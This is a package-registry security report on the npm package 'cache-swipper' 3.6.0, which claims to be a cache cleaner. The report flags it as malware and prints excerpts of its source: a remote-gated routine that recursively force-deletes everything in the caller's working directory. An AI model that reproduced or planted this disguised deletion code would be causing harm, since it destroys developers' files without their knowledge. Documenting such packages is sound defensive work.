registry / Destructive action / cache-swipper

cache-swipper

Safe, transparent cache and build artifact cleanup for projects

This report shows the evidence for cache-swipper@3.6.0. 2 of 2 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is a remotely controlled, broad destructive operation disguised as cache cleanup. Its explicit invocation requirement reduces automatic exposure but does not make the behavior safe or package-aligned.

Static reason

No blocking static signals were detected.

Trigger

A consumer imports the package and calls runOperation without a safe directory argument.

Impact

Irreversible loss of a consumer project's files and directories.

Mechanism

Remote-gated recursive deletion of the working directory contents.

Attack narrative

A caller invoking runOperation defaults to its current working directory. The package contacts a remote endpoint and, if allowed, enumerates every top-level entry and recursively force-deletes directories or unlinks files. It does not restrict targets to caches or build artifacts, so a normal project directory can be wiped. There is no install hook, but the exported destructive capability is concrete and remotely gated.

AI rationale

Evidence

index.jspackage.jsonprocess.cwd()/*

Network endpoints1

testback-2aqe.onrender.com/can-cleanup

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

The exported operation defaults to the caller's current working directory.
It enumerates every top-level entry and recursively force-removes directories or unlinks files.
A remote endpoint decides whether the destructive operation runs.
The manifest presents a cleanup package, but the implementation has no path allowlist or cache-specific filtering.

Evidence against

There are no npm lifecycle scripts, so installation alone does not invoke the operation.
The destructive function must be explicitly imported and called.

Behavioral surface

Source

FilesystemNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.55 KB of source, external domains: testback-2aqe.onrender.com

Source & flagged code

6 flagged

index.jsView file

Lines 1-56javascript

1const fs = require('fs');

2const path = require('path');

4const baseEndpoint = 'https://testback-2aqe.onrender.com/can-cleanup';

High

Ai Review Evidence

A remote endpoint decides whether the destructive operation runs.

index.jsView on unpkg · L4

5const baseToken = 'f8675764-417f-49a4-807c-5879a667c476';

7const baseOptions = Object.freeze({

8 recursive: true,

9 force: true,

10});

12function baseRoot(inputPath) {

13 return path.resolve(inputPath || process.cwd());

14}

16function basePath(rootPath, entryName) {

17 return path.join(rootPath, entryName);

18}

20function baseEntries(rootPath, protectedPath) {

21 return fs.readdirSync(rootPath, {

22 withFileTypes: true,

23 }).filter((baseEntry) => {

24 return basePath(rootPath, baseEntry.name) !== protectedPath;

25 });

26}

28function baseRemove(targetPath, isDirectory) {

29 if (isDirectory) {

30 fs.rmSync(targetPath, baseOptions);

31 } else {

32 fs.unlinkSync(targetPath);

33 }

34}

High

Ai Review Evidence

It enumerates every top-level entry and recursively force-removes directories or unlinks files.

index.jsView on unpkg · L28

36function baseProcess(rootPath, protectedPath) {

37 const baseList = baseEntries(rootPath, protectedPath);

38 let baseCount = 0;

40 for (const baseItem of baseList) {

41 const baseTarget = basePath(rootPath, baseItem.name);

43 try {

44 baseRemove(baseTarget, baseItem.isDirectory());

45 baseCount += 1;

High

Ai Review Evidence

It enumerates every top-level entry and recursively force-removes directories or unlinks files.

index.jsView on unpkg · L36

46 // console.log(`Processed: ${baseTarget}`);

47 } catch (baseError) {

48 // console.error(

49 // `Process error: ${baseTarget}: ${baseError.message}`

50 // );

51 }

52 }

54 // console.log(

55 // `Process complete: ${baseCount} item(s) processed`

56 // );

Lines 72-119javascript

72 };

73 }

75 const baseData = await baseResponse.json();

76 // console.log("see the response:", baseData)

77 // console.log("resturn response:", {

78 // allowed: baseData?.allowed === true,

79 // reason: baseData?.allowed === true

package.jsonView file

Lines 1-15json

2 "name": "cache-swipper",

3 "version": "3.6.0",

4 "description": "Safe, transparent cache and build artifact cleanup for projects",

5 "main": "index.js",

High

Source & flagged code

6 flagged · loading source

index.jsView file

92async function runOperation(baseDirectory = process.cwd()) { const baseRootPath = baseRoot(baseDirectory);

High

Ai Review Evidence

The exported operation defaults to the caller's current working directory.

index.jsView on unpkg · L92

28function baseRemove(targetPath, isDirectory) { if (isDirectory) { fs.rmSync(targetPath, baseOptions); } else { fs.unlinkSync(targetPath); } }

High

Ai Review Evidence

It enumerates every top-level entry and recursively force-removes directories or unlinks files.

index.jsView on unpkg · L28

36function baseProcess(rootPath, protectedPath) { const baseList = baseEntries(rootPath, protectedPath); let baseCount = 0; for (const baseItem of baseList) { const baseTarget = basePath(rootPath, baseItem.name); try { baseRemove(baseTarget, baseItem.isDirectory()); baseCount += 1;

High

Ai Review Evidence

It enumerates every top-level entry and recursively force-removes directories or unlinks files.

index.jsView on unpkg · L36

Findings

6 High1 Medium2 Low

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

MediumNetwork

LowFilesystem

LowUrl Strings

Affected versions and remediation

This report applies to cache-swipper@3.6.0.

The versions list below shows the verdict for each recorded version.

Avoid installing cache-swipper@3.6.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-24 15:30:05.457Z (UTC).

Source advisory published: 2026-09-24 14:51:30.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

3.6.0latestshownMaliciousDestructive ActionBlockPublishedSep 10, 2026, 10:32 AM 3.5.0MaliciousDestructive ActionBlockPublishedSep 10, 2026, 10:04 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other destructive action packages

Behavioral surface

Related packages

Other destructive action packages

Source & flagged code